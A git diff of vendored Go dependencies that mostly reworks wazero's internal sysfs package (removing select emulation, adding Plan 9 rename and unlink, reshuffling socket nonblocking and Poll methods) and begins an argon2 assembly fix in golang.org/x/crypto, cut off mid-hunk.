diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename_plan9.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename_plan9.go
new file mode 100644
index 0000000000..474cc7595e
--- /dev/null
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename_plan9.go
@@ -0,0 +1,14 @@
+package sysfs
+
+import (
+ "os"
+
+ "github.com/tetratelabs/wazero/experimental/sys"
+)
+
+func rename(from, to string) sys.Errno {
+ if from == to {
+ return 0
+ }
+ return sys.UnwrapOSError(os.Rename(from, to))
+}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select.go
deleted file mode 100644
index ac0861fda4..0000000000
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select.go
+++ /dev/null
@@ -1,36 +0,0 @@
-package sysfs
-
-import (
- "time"
-
- "github.com/tetratelabs/wazero/internal/platform"
-)
-
-// _select exposes the select(2) syscall. This is named as such to avoid
-// colliding with they keyword select while not exporting the function.
-//
-// # Notes on Parameters
-//
-// For convenience, we expose a pointer to a time.Duration instead of a pointer to a syscall.Timeval.
-// It must be a pointer because `nil` means "wait forever".
-//
-// However, notice that select(2) may mutate the pointed Timeval on some platforms,
-// for instance if the call returns early.
-//
-// This implementation *will not* update the pointed time.Duration value accordingly.
-//
-// See also: https://github.com/golang/sys/blob/master/unix/syscall_unix_test.go#L606-L617
-//
-// # Notes on the Syscall
-//
-// Because this is a blocking syscall, it will also block the carrier thread of the goroutine,
-// preventing any means to support context cancellation directly.
-//
-// There are ways to obviate this issue. We outline here one idea, that is however not currently implemented.
-// A common approach to support context cancellation is to add a signal file descriptor to the set,
-// e.g. the read-end of a pipe or an eventfd on Linux.
-// When the context is canceled, we may unblock a Select call by writing to the fd, causing it to return immediately.
-// This however requires to do a bit of housekeeping to hide the "special" FD from the end-user.
-func _select(n int, r, w, e *platform.FdSet, timeout *time.Duration) (int, error) {
- return syscall_select(n, r, w, e, timeout)
-}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.go
deleted file mode 100644
index eabf4f455b..0000000000
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.go
+++ /dev/null
@@ -1,45 +0,0 @@
-package sysfs
-
-import (
- "syscall"
- "time"
- "unsafe"
-
- "github.com/tetratelabs/wazero/internal/platform"
-)
-
-// syscall_select invokes select on Darwin, with the given timeout Duration.
-// We implement our own version instead of relying on syscall.Select because the latter
-// only returns the error and discards the result.
-func syscall_select(n int, r, w, e *platform.FdSet, timeout *time.Duration) (int, error) {
- var t *syscall.Timeval
- if timeout != nil {
- tv := syscall.NsecToTimeval(timeout.Nanoseconds())
- t = &tv
- }
- result, _, errno := syscall_syscall6(
- libc_select_trampoline_addr,
- uintptr(n),
- uintptr(unsafe.Pointer(r)),
- uintptr(unsafe.Pointer(w)),
- uintptr(unsafe.Pointer(e)),
- uintptr(unsafe.Pointer(t)),
- 0)
- res := int(result)
- if errno == 0 {
- return res, nil
- }
- return res, errno
-}
-
-// libc_select_trampoline_addr is the address of the
-// `libc_select_trampoline` symbol, defined in `select_darwin.s`.
-//
-// We use this to invoke the syscall through syscall_syscall6 imported below.
-var libc_select_trampoline_addr uintptr
-
-// Imports the select symbol from libc as `libc_select`.
-//
-// Note: CGO mechanisms are used in darwin regardless of the CGO_ENABLED value
-// or the "cgo" build flag. See /RATIONALE.md for why.
-//go:cgo_import_dynamic libc_select select "/usr/lib/libSystem.B.dylib"
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.s b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.s
deleted file mode 100644
index 16e65e8ec6..0000000000
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.s
+++ /dev/null
@@ -1,8 +0,0 @@
-// lifted from golang.org/x/sys unix
-#include "textflag.h"
-
-TEXT libc_select_trampoline<>(SB), NOSPLIT, $0-0
- JMP libc_select(SB)
-
-GLOBL ·libc_select_trampoline_addr(SB), RODATA, $8
-DATA ·libc_select_trampoline_addr(SB)/8, $libc_select_trampoline<>(SB)
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_linux.go
deleted file mode 100644
index aae5e48f66..0000000000
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_linux.go
+++ /dev/null
@@ -1,18 +0,0 @@
-package sysfs
-
-import (
- "syscall"
- "time"
-
- "github.com/tetratelabs/wazero/internal/platform"
-)
-
-// syscall_select invokes select on Unix (unless Darwin), with the given timeout Duration.
-func syscall_select(n int, r, w, e *platform.FdSet, timeout *time.Duration) (int, error) {
- var t *syscall.Timeval
- if timeout != nil {
- tv := syscall.NsecToTimeval(timeout.Nanoseconds())
- t = &tv
- }
- return syscall.Select(n, (*syscall.FdSet)(r), (*syscall.FdSet)(w), (*syscall.FdSet)(e), t)
-}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_unsupported.go
deleted file mode 100644
index 400df900e6..0000000000
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_unsupported.go
+++ /dev/null
@@ -1,14 +0,0 @@
-//go:build !darwin && !linux && !windows
-
-package sysfs
-
-import (
- "time"
-
- "github.com/tetratelabs/wazero/experimental/sys"
- "github.com/tetratelabs/wazero/internal/platform"
-)
-
-func syscall_select(n int, r, w, e *platform.FdSet, timeout *time.Duration) (int, error) {
- return -1, sys.ENOSYS
-}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_windows.go
deleted file mode 100644
index b5c1a1bdb1..0000000000
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_windows.go
+++ /dev/null
@@ -1,173 +0,0 @@
-package sysfs
-
-import (
- "context"
- "syscall"
- "time"
- "unsafe"
-
- "github.com/tetratelabs/wazero/experimental/sys"
- "github.com/tetratelabs/wazero/internal/platform"
-)
-
-// pollInterval is the interval between each calls to peekNamedPipe in selectAllHandles
-const pollInterval = 100 * time.Millisecond
-
-// zeroDuration is the zero value for time.Duration. It is used in selectAllHandles.
-var zeroDuration = time.Duration(0)
-
-// syscall_select emulates the select syscall on Windows, for a subset of cases.
-//
-// r, w, e may contain any number of file handles, but regular files and pipes are only processed for r (Read).
-// Stdin is a pipe, thus it is checked for readiness when present. Pipes are checked using PeekNamedPipe.
-// Regular files always immediately report as ready, regardless their actual state and timeouts.
-//
-// If n==0 it will wait for the given timeout duration, but it will return sys.ENOSYS if timeout is nil,
-// i.e. it won't block indefinitely.
-//
-// Note: ideas taken from https://stackoverflow.com/questions/6839508/test-if-stdin-has-input-for-c-windows-and-or-linux
-// PeekNamedPipe: https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-peeknamedpipe
-func syscall_select(n int, r, w, e *platform.FdSet, timeout *time.Duration) (int, error) {
- if n == 0 {
- // Don't block indefinitely.
- if timeout == nil {
- return -1, sys.ENOSYS
- }
- time.Sleep(*timeout)
- return 0, nil
- }
-
- n, errno := selectAllHandles(context.TODO(), r, w, e, timeout)
- if errno == 0 {
- return n, nil
- }
- return n, errno
-}
-
-// selectAllHandles emulates a general-purpose POSIX select on Windows.
-//
-// The implementation actually polls every 100 milliseconds until it reaches the given duration.
-// The duration may be nil, in which case it will wait undefinely. The given ctx is
-// used to allow for cancellation, and it is currently used only in tests.
-//
-// As indicated in the man page for select [1], r, w, e are modified upon completion:
-//
-// "Upon successful completion, the pselect() or select() function shall modify the objects pointed to by the readfds,
-// writefds, and errorfds arguments to indicate which file descriptors are ready for reading, ready for writing,
-// or have an error condition pending, respectively, and shall return the total number of ready descriptors in all the output sets"
-//
-// However, for our purposes, this may be pedantic because currently we do not check the values of r, w, e
-// after the invocation of select; thus, this behavior may be subject to change in the future for the sake of simplicity.
-//
-// [1]: https://linux.die.net/man/3/select
-func selectAllHandles(ctx context.Context, r, w, e *platform.FdSet, duration *time.Duration) (n int, errno sys.Errno) {
- r2, w2, e2 := r.Copy(), w.Copy(), e.Copy()
- n, errno = peekAllHandles(r2, w2, e2)
- // Short circuit when there is an error, there is data or the duration is zero.
- if errno != 0 || n > 0 || (duration != nil && *duration == time.Duration(0)) {
- r.SetAll(r2)
- w.SetAll(w2)
- e.SetAll(e2)
- return
- }
-
- // Ticker that emits at every pollInterval.
- tick := time.NewTicker(pollInterval)
- tickCh := tick.C
- defer tick.Stop()
-
- // Timer that expires after the given duration.
- // Initialize afterCh as nil: the select below will wait forever.
- var afterCh <-chan time.Time
- if duration != nil {
- // If duration is not nil, instantiate the timer.
- after := time.NewTimer(*duration)
- defer after.Stop()
- afterCh = after.C
- }
-
- for {
- select {
- case <-ctx.Done():
- r.Zero()
- w.Zero()
- e.Zero()
- return
- case <-afterCh:
- r.Zero()
- w.Zero()
- e.Zero()
- return
- case <-tickCh:
- r2, w2, e2 = r.Copy(), w.Copy(), e.Copy()
- n, errno = peekAllHandles(r2, w2, e2)
- if errno != 0 || n > 0 {
- r.SetAll(r2)
- w.SetAll(w2)
- e.SetAll(e2)
- return
- }
- }
- }
-}
-
-func peekAllHandles(r, w, e *platform.FdSet) (int, sys.Errno) {
- // pipes are not checked on w, e
- w.Pipes().Zero()
- e.Pipes().Zero()
-
- // peek pipes only for reading
- errno := peekAllPipes(r.Pipes())
- if errno != 0 {
- return 0, errno
- }
-
- _, errno = winsock_select(r.Sockets(), w.Sockets(), e.Sockets(), &zeroDuration)
- if errno != 0 {
- return 0, errno
- }
-
- return r.Count() + w.Count() + e.Count(), 0
-}
-
-func peekAllPipes(pipeHandles *platform.WinSockFdSet) sys.Errno {
- ready := &platform.WinSockFdSet{}
- for i := 0; i < pipeHandles.Count(); i++ {
- h := pipeHandles.Get(i)
- bytes, errno := peekNamedPipe(h)
- if bytes > 0 {
- ready.Set(int(h))
- }
- if errno != 0 {
- return sys.UnwrapOSError(errno)
- }
- }
- *pipeHandles = *ready
- return 0
-}
-
-func winsock_select(r, w, e *platform.WinSockFdSet, timeout *time.Duration) (int, sys.Errno) {
- if r.Count() == 0 && w.Count() == 0 && e.Count() == 0 {
- return 0, 0
- }
-
- var t *syscall.Timeval
- if timeout != nil {
- tv := syscall.NsecToTimeval(timeout.Nanoseconds())
- t = &tv
- }
-
- rp := unsafe.Pointer(r)
- wp := unsafe.Pointer(w)
- ep := unsafe.Pointer(e)
- tp := unsafe.Pointer(t)
-
- r0, _, err := syscall.SyscallN(
- procselect.Addr(),
- uintptr(0), // the first argument is ignored and exists only for compat with BSD sockets.
- uintptr(rp),
- uintptr(wp),
- uintptr(ep),
- uintptr(tp))
- return int(r0), sys.UnwrapOSError(err)
-}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock.go
index ea59409943..af739a9082 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock.go
@@ -5,7 +5,6 @@ import (
"os"
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
- "github.com/tetratelabs/wazero/internal/fsapi"
socketapi "github.com/tetratelabs/wazero/internal/sock"
"github.com/tetratelabs/wazero/sys"
)
@@ -18,10 +17,10 @@ func NewTCPListenerFile(tl *net.TCPListener) socketapi.TCPSock {
// baseSockFile implements base behavior for all TCPSock, TCPConn files,
// regardless the platform.
type baseSockFile struct {
- fsapi.UnimplementedFile
+ experimentalsys.UnimplementedFile
}
-var _ fsapi.File = (*baseSockFile)(nil)
+var _ experimentalsys.File = (*baseSockFile)(nil)
// IsDir implements the same method as documented on File.IsDir
func (*baseSockFile) IsDir() (bool, experimentalsys.Errno) {
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unix.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unix.go
index 2509a17303..3698f560e0 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unix.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unix.go
@@ -7,6 +7,7 @@ import (
"syscall"
"github.com/tetratelabs/wazero/experimental/sys"
+ "github.com/tetratelabs/wazero/internal/fsapi"
socketapi "github.com/tetratelabs/wazero/internal/sock"
)
@@ -41,8 +42,9 @@ var _ socketapi.TCPSock = (*tcpListenerFile)(nil)
type tcpListenerFile struct {
baseSockFile
- fd uintptr
- addr *net.TCPAddr
+ fd uintptr
+ addr *net.TCPAddr
+ nonblock bool
}
// Accept implements the same method as documented on socketapi.TCPSock
@@ -55,12 +57,7 @@ func (f *tcpListenerFile) Accept() (socketapi.TCPConn, sys.Errno) {
return &tcpConnFile{fd: uintptr(nfd)}, 0
}
-// SetNonblock implements the same method as documented on fsapi.File
-func (f *tcpListenerFile) SetNonblock(enabled bool) sys.Errno {
- return sys.UnwrapOSError(setNonblock(f.fd, enabled))
-}
-
-// Close implements the same method as documented on fsapi.File
+// Close implements the same method as documented on sys.File
func (f *tcpListenerFile) Close() sys.Errno {
return sys.UnwrapOSError(syscall.Close(int(f.fd)))
}
@@ -70,12 +67,29 @@ func (f *tcpListenerFile) Addr() *net.TCPAddr {
return f.addr
}
+// SetNonblock implements the same method as documented on fsapi.File
+func (f *tcpListenerFile) SetNonblock(enabled bool) sys.Errno {
+ f.nonblock = enabled
+ return sys.UnwrapOSError(setNonblock(f.fd, enabled))
+}
+
+// IsNonblock implements the same method as documented on fsapi.File
+func (f *tcpListenerFile) IsNonblock() bool {
+ return f.nonblock
+}
+
+// Poll implements the same method as documented on fsapi.File
+func (f *tcpListenerFile) Poll(flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno sys.Errno) {
+ return false, sys.ENOSYS
+}
+
var _ socketapi.TCPConn = (*tcpConnFile)(nil)
type tcpConnFile struct {
baseSockFile
- fd uintptr
+ fd uintptr
+ nonblock bool
// closed is true when closed was called. This ensures proper sys.EBADF
closed bool
@@ -89,12 +103,7 @@ func newTcpConn(tc *net.TCPConn) socketapi.TCPConn {
return &tcpConnFile{fd: f.Fd()}
}
-// SetNonblock implements the same method as documented on fsapi.File
-func (f *tcpConnFile) SetNonblock(enabled bool) (errno sys.Errno) {
- return sys.UnwrapOSError(setNonblock(f.fd, enabled))
-}
-
-// Read implements the same method as documented on fsapi.File
+// Read implements the same method as documented on sys.File
func (f *tcpConnFile) Read(buf []byte) (n int, errno sys.Errno) {
n, err := syscall.Read(int(f.fd), buf)
if err != nil {
@@ -105,7 +114,7 @@ func (f *tcpConnFile) Read(buf []byte) (n int, errno sys.Errno) {
return n, errno
}
-// Write implements the same method as documented on fsapi.File
+// Write implements the same method as documented on sys.File
func (f *tcpConnFile) Write(buf []byte) (n int, errno sys.Errno) {
n, err := syscall.Write(int(f.fd), buf)
if err != nil {
@@ -127,7 +136,7 @@ func (f *tcpConnFile) Recvfrom(p []byte, flags int) (n int, errno sys.Errno) {
return n, errno
}
-// Shutdown implements the same method as documented on fsapi.Conn
+// Shutdown implements the same method as documented on sys.Conn
func (f *tcpConnFile) Shutdown(how int) sys.Errno {
var err error
switch how {
@@ -141,7 +150,7 @@ func (f *tcpConnFile) Shutdown(how int) sys.Errno {
return sys.UnwrapOSError(err)
}
-// Close implements the same method as documented on fsapi.File
+// Close implements the same method as documented on sys.File
func (f *tcpConnFile) Close() sys.Errno {
return f.close()
}
@@ -153,3 +162,19 @@ func (f *tcpConnFile) close() sys.Errno {
f.closed = true
return sys.UnwrapOSError(syscall.Shutdown(int(f.fd), syscall.SHUT_RDWR))
}
+
+// SetNonblock implements the same method as documented on fsapi.File
+func (f *tcpConnFile) SetNonblock(enabled bool) (errno sys.Errno) {
+ f.nonblock = enabled
+ return sys.UnwrapOSError(setNonblock(f.fd, enabled))
+}
+
+// IsNonblock implements the same method as documented on fsapi.File
+func (f *tcpConnFile) IsNonblock() bool {
+ return f.nonblock
+}
+
+// Poll implements the same method as documented on fsapi.File
+func (f *tcpConnFile) Poll(flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno sys.Errno) {
+ return false, sys.ENOSYS
+}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_windows.go
index 8e0ab92e54..ed275e6290 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_windows.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_windows.go
@@ -5,11 +5,10 @@ package sysfs
import (
"net"
"syscall"
- "time"
"unsafe"
"github.com/tetratelabs/wazero/experimental/sys"
- "github.com/tetratelabs/wazero/internal/platform"
+ "github.com/tetratelabs/wazero/internal/fsapi"
socketapi "github.com/tetratelabs/wazero/internal/sock"
)
@@ -19,8 +18,6 @@ const (
MSG_PEEK = 0x2
// _FIONBIO is the flag to set the O_NONBLOCK flag on socket handles using ioctlsocket.
_FIONBIO = 0x8004667e
- // _WASWOULDBLOCK corresponds to syscall.EWOULDBLOCK in WinSock.
- _WASWOULDBLOCK = 10035
)
var (
@@ -28,12 +25,8 @@ var (
modws2_32 = syscall.NewLazyDLL("ws2_32.dll")
// procrecvfrom exposes recvfrom from WinSock.
procrecvfrom = modws2_32.NewProc("recvfrom")
- // procaccept exposes accept from WinSock.
- procaccept = modws2_32.NewProc("accept")
// procioctlsocket exposes ioctlsocket from WinSock.
procioctlsocket = modws2_32.NewProc("ioctlsocket")
- // procselect exposes select from WinSock.
- procselect = modws2_32.NewProc("select")
)
// recvfrom exposes the underlying syscall in Windows.
@@ -92,6 +85,16 @@ func syscallConnControl(conn syscall.Conn, fn func(fd uintptr) (int, sys.Errno))
return
}
+func _pollSock(conn syscall.Conn, flag fsapi.Pflag, timeoutMillis int32) (bool, sys.Errno) {
+ if flag != fsapi.POLLIN {
+ return false, sys.ENOTSUP
+ }
+ n, errno := syscallConnControl(conn, func(fd uintptr) (int, sys.Errno) {
+ return _poll([]pollFd{newPollFd(fd, _POLLIN, 0)}, timeoutMillis)
+ })
+ return n > 0, errno
+}
+
// newTCPListenerFile is a constructor for a socketapi.TCPSock.
//
// Note: currently the Windows implementation of socketapi.TCPSock
@@ -101,9 +104,7 @@ func syscallConnControl(conn syscall.Conn, fn func(fd uintptr) (int, sys.Errno))
// standard library, instead of invoke syscalls/Win32 APIs
// because they are sensibly different from Unix's.
func newTCPListenerFile(tl *net.TCPListener) socketapi.TCPSock {
- w := &winTcpListenerFile{tl: tl}
- _ = w.SetNonblock(true)
- return w
+ return &winTcpListenerFile{tl: tl}
}
var _ socketapi.TCPSock = (*winTcpListenerFile)(nil)
@@ -118,17 +119,11 @@ type winTcpListenerFile struct {
// Accept implements the same method as documented on socketapi.TCPSock
func (f *winTcpListenerFile) Accept() (socketapi.TCPConn, sys.Errno) {
- // Ensure we have an incoming connection using winsock_select.
- n, errno := syscallConnControl(f.tl, func(fd uintptr) (int, sys.Errno) {
- fdSet := platform.WinSockFdSet{}
- fdSet.Set(int(fd))
- t := time.Duration(0)
- return winsock_select(&fdSet, nil, nil, &t)
- })
-
- // Otherwise return immediately.
- if n == 0 || errno != 0 {
- return nil, sys.EAGAIN
+ // Ensure we have an incoming connection using winsock_select, otherwise return immediately.
+ if f.nonblock {
+ if ready, errno := _pollSock(f.tl, fsapi.POLLIN, 0); !ready || errno != 0 {
+ return nil, sys.EAGAIN
+ }
}
// Accept normally blocks goroutines, but we
@@ -141,7 +136,20 @@ func (f *winTcpListenerFile) Accept() (socketapi.TCPConn, sys.Errno) {
}
}
-// IsNonblock implements File.IsNonblock
+// Close implements the same method as documented on sys.File
+func (f *winTcpListenerFile) Close() sys.Errno {
+ if !f.closed {
+ return sys.UnwrapOSError(f.tl.Close())
+ }
+ return 0
+}
+
+// Addr is exposed for testing.
+func (f *winTcpListenerFile) Addr() *net.TCPAddr {
+ return f.tl.Addr().(*net.TCPAddr)
+}
+
+// IsNonblock implements the same method as documented on fsapi.File
func (f *winTcpListenerFile) IsNonblock() bool {
return f.nonblock
}
@@ -155,17 +163,9 @@ func (f *winTcpListenerFile) SetNonblock(enabled bool) sys.Errno {
return errno
}
-// Close implements the same method as documented on fsapi.File
-func (f *winTcpListenerFile) Close() sys.Errno {
- if !f.closed {
- return sys.UnwrapOSError(f.tl.Close())
- }
- return 0
-}
-
-// Addr is exposed for testing.
-func (f *winTcpListenerFile) Addr() *net.TCPAddr {
- return f.tl.Addr().(*net.TCPAddr)
+// Poll implements the same method as documented on fsapi.File
+func (f *winTcpListenerFile) Poll(fsapi.Pflag, int32) (ready bool, errno sys.Errno) {
+ return false, sys.ENOSYS
}
var _ socketapi.TCPConn = (*winTcpConnFile)(nil)
@@ -189,20 +189,7 @@ func newTcpConn(tc *net.TCPConn) socketapi.TCPConn {
return &winTcpConnFile{tc: tc}
}
-// SetNonblock implements the same method as documented on fsapi.File
-func (f *winTcpConnFile) SetNonblock(enabled bool) (errno sys.Errno) {
- _, errno = syscallConnControl(f.tc, func(fd uintptr) (int, sys.Errno) {
- return 0, sys.UnwrapOSError(setNonblockSocket(syscall.Handle(fd), enabled))
- })
- return
-}
-
-// IsNonblock implements File.IsNonblock
-func (f *winTcpConnFile) IsNonblock() bool {
- return f.nonblock
-}
-
-// Read implements the same method as documented on fsapi.File
+// Read implements the same method as documented on sys.File
func (f *winTcpConnFile) Read(buf []byte) (n int, errno sys.Errno) {
if len(buf) == 0 {
return 0, 0 // Short-circuit 0-len reads.
@@ -221,7 +208,7 @@ func (f *winTcpConnFile) Read(buf []byte) (n int, errno sys.Errno) {
return
}
-// Write implements the same method as documented on fsapi.File
+// Write implements the same method as documented on sys.File
func (f *winTcpConnFile) Write(buf []byte) (n int, errno sys.Errno) {
if nonBlockingFileWriteSupported && f.IsNonblock() {
return syscallConnControl(f.tc, func(fd uintptr) (int, sys.Errno) {
@@ -248,7 +235,7 @@ func (f *winTcpConnFile) Recvfrom(p []byte, flags int) (n int, errno sys.Errno)
})
}
-// Shutdown implements the same method as documented on fsapi.Conn
+// Shutdown implements the same method as documented on sys.Conn
func (f *winTcpConnFile) Shutdown(how int) sys.Errno {
// FIXME: can userland shutdown listeners?
var err error
@@ -265,7 +252,7 @@ func (f *winTcpConnFile) Shutdown(how int) sys.Errno {
return sys.UnwrapOSError(err)
}
-// Close implements the same method as documented on fsapi.File
+// Close implements the same method as documented on sys.File
func (f *winTcpConnFile) Close() sys.Errno {
return f.close()
}
@@ -277,3 +264,22 @@ func (f *winTcpConnFile) close() sys.Errno {
f.closed = true
return f.Shutdown(syscall.SHUT_RDWR)
}
+
+// IsNonblock implements the same method as documented on fsapi.File
+func (f *winTcpConnFile) IsNonblock() bool {
+ return f.nonblock
+}
+
+// SetNonblock implements the same method as documented on fsapi.File
+func (f *winTcpConnFile) SetNonblock(enabled bool) (errno sys.Errno) {
+ f.nonblock = true
+ _, errno = syscallConnControl(f.tc, func(fd uintptr) (int, sys.Errno) {
+ return 0, sys.UnwrapOSError(setNonblockSocket(syscall.Handle(fd), enabled))
+ })
+ return
+}
+
+// Poll implements the same method as documented on fsapi.File
+func (f *winTcpConnFile) Poll(fsapi.Pflag, int32) (ready bool, errno sys.Errno) {
+ return false, sys.ENOSYS
+}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_bsd.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_bsd.go
index aeb7419716..254e204cd9 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_bsd.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_bsd.go
@@ -5,7 +5,6 @@ package sysfs
import (
"io/fs"
"os"
- "syscall"
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/sys"
@@ -36,14 +35,3 @@ func stat(path string) (sys.Stat_t, experimentalsys.Errno) {
func statFile(f fs.File) (sys.Stat_t, experimentalsys.Errno) {
return defaultStatFile(f)
}
-
-func inoFromFileInfo(_ string, info fs.FileInfo) (sys.Inode, experimentalsys.Errno) {
- switch v := info.Sys().(type) {
- case *sys.Stat_t:
- return v.Ino, 0
- case *syscall.Stat_t:
- return v.Ino, 0
- default:
- return 0, 0
- }
-}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_linux.go
index 426b2850a4..fd289756de 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_linux.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_linux.go
@@ -8,7 +8,6 @@ package sysfs
import (
"io/fs"
"os"
- "syscall"
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/sys"
@@ -39,14 +38,3 @@ func stat(path string) (sys.Stat_t, experimentalsys.Errno) {
func statFile(f fs.File) (sys.Stat_t, experimentalsys.Errno) {
return defaultStatFile(f)
}
-
-func inoFromFileInfo(_ string, info fs.FileInfo) (sys.Inode, experimentalsys.Errno) {
- switch v := info.Sys().(type) {
- case *sys.Stat_t:
- return v.Ino, 0
- case *syscall.Stat_t:
- return v.Ino, 0
- default:
- return 0, 0
- }
-}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_unsupported.go
index b220041582..4b05a89772 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_unsupported.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_unsupported.go
@@ -5,7 +5,6 @@ package sysfs
import (
"io/fs"
"os"
- "syscall"
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/sys"
@@ -39,10 +38,3 @@ func stat(path string) (sys.Stat_t, experimentalsys.Errno) {
func statFile(f fs.File) (sys.Stat_t, experimentalsys.Errno) {
return defaultStatFile(f)
}
-
-func inoFromFileInfo(_ string, info fs.FileInfo) (sys.Inode, experimentalsys.Errno) {
- if st, ok := info.Sys().(*syscall.Stat_t); ok {
- return st.Ino, 0
- }
- return 0, 0
-}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_windows.go
index db28300bf4..4456dd7828 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_windows.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_windows.go
@@ -4,7 +4,6 @@ package sysfs
import (
"io/fs"
- "path"
"syscall"
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
@@ -77,22 +76,6 @@ func statFile(f fs.File) (sys.Stat_t, experimentalsys.Errno) {
return defaultStatFile(f)
}
-// inoFromFileInfo uses stat to get the inode information of the file.
-func inoFromFileInfo(dirPath string, info fs.FileInfo) (ino sys.Inode, errno experimentalsys.Errno) {
- if dirPath == "" {
- // This is a fs.File backed implementation which doesn't have access to
- // the original file path.
- return
- }
- // Ino is no not in Win32FileAttributeData
- inoPath := path.Clean(path.Join(dirPath, info.Name()))
- var st sys.Stat_t
- if st, errno = lstat(inoPath); errno == 0 {
- ino = st.Ino
- }
- return
-}
-
func statHandle(h syscall.Handle) (sys.Stat_t, experimentalsys.Errno) {
winFt, err := syscall.GetFileType(h)
if err != nil {
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink.go
index 4f20b00ea2..4f7dbe3fe7 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink.go
@@ -1,4 +1,4 @@
-//go:build !windows
+//go:build !windows && !plan9
package sysfs
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_plan9.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_plan9.go
new file mode 100644
index 0000000000..16ed06ab2a
--- /dev/null
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_plan9.go
@@ -0,0 +1,12 @@
+package sysfs
+
+import (
+ "syscall"
+
+ "github.com/tetratelabs/wazero/experimental/sys"
+)
+
+func unlink(name string) sys.Errno {
+ err := syscall.Remove(name)
+ return sys.UnwrapOSError(err)
+}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_windows.go
index e247809eec..be31c7b911 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_windows.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_windows.go
@@ -1,5 +1,3 @@
-//go:build windows
-
package sysfs
import (
diff --git a/vendor/golang.org/x/crypto/argon2/blamka_amd64.s b/vendor/golang.org/x/crypto/argon2/blamka_amd64.s
index f3b653a12f..6713accac0 100644
--- a/vendor/golang.org/x/crypto/argon2/blamka_amd64.s
+++ b/vendor/golang.org/x/crypto/argon2/blamka_amd64.s
@@ -199,8 +199,8 @@ TEXT ·mixBlocksSSE2(SB), 4, $0-32
MOVQ out+0(FP), DX
MOVQ a+8(FP), AX
MOVQ b+16(FP), BX
- MOVQ a+24(FP), CX
- MOVQ $128, BP
+ MOVQ c+24(FP), CX
+ MOVQ $128, DI
loop:
MOVOU 0(AX), X0
@@ -213,7 +213,7 @@ loop:
ADDQ $16, BX
ADDQ $16, CX
ADDQ $16, DX
- SUBQ $2, BP
